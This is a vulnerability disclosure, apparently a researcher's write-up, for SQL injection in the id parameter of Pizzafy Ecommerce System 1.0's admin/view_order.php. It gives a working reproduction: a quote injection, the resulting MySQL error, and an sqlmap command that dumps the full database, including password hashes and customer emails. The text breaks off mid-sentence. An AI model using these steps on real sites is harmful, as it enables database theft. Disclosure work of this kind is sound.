
admin/view_order.php| Field | Value |
|---|---|
| Vendor | SourceCodester |
| Product | Pizzafy Ecommerce System using PHP and MySQL |
| Version | 1.0 |
| Vulnerability | SQL Injection |
| CWE | CWE-89 |
| CVSSv3 Score | 7.2 (High) |
| Attack Vector | Network |
| Auth Required | Yes (Administrator) |
| Researcher | Xmyronn |
| Date | 2026-04-11 |
https://www.sourcecodester.com/php/18708/pizzafy-ecommerce-system.html
File: Pizzafy/admin/view_order.php
Parameter: id (GET)
The admin/view_order.php endpoint in Pizzafy Ecommerce System 1.0 fails to properly sanitize the id GET parameter before passing it to a MySQL query. An authenticated administrator can manipulate this parameter to inject arbitrary SQL, leading to full database compromise.
Navigate to:
http://localhost/pizzafy/Pizzafy/admin/index.php
Login with admin credentials.
http://localhost/pizzafy/Pizzafy/admin/index.php?page=orders
Click View Order on any order entry.

The intercepted GET request looks like:

Modify id=1 to id=':

GET /pizzafy/Pizzafy/admin/view_order.php?id=' HTTP/1.1
Response — MySQL error exposed:
Fatal error: Uncaught mysqli_sql_exception: You have an error in your SQL syntax;
check the manual that corresponds to your MariaDB server version for the right
syntax to use near ''' at line 1 in
C:\xampp\htdocs\pizzafy\Pizzafy\admin\view_order.php:15
Save the request to view_order.txt and run:
sqlmap -r view_order.txt --dump --batch
sqlmap confirmed injection types:
| Type | Title |
|---|---|
| Boolean-based blind | AND boolean-based blind — WHERE clause |
| Error-based | MySQL >= 5.0 FLOOR error-based |
| Time-based blind | MySQL >= 5.0.12 SLEEP |
| UNION query | Generic UNION query — 11 columns |
Full database dumped:
Database: pizzafy
Tables: users, user_info, orders, order_list, product_list, category_list, system_settings
Sensitive data exposed includes bcrypt password hashes, customer emails, order details, and system configuration.
A malicious authenticated administrator (or attacker who has obtained admin credentials) can: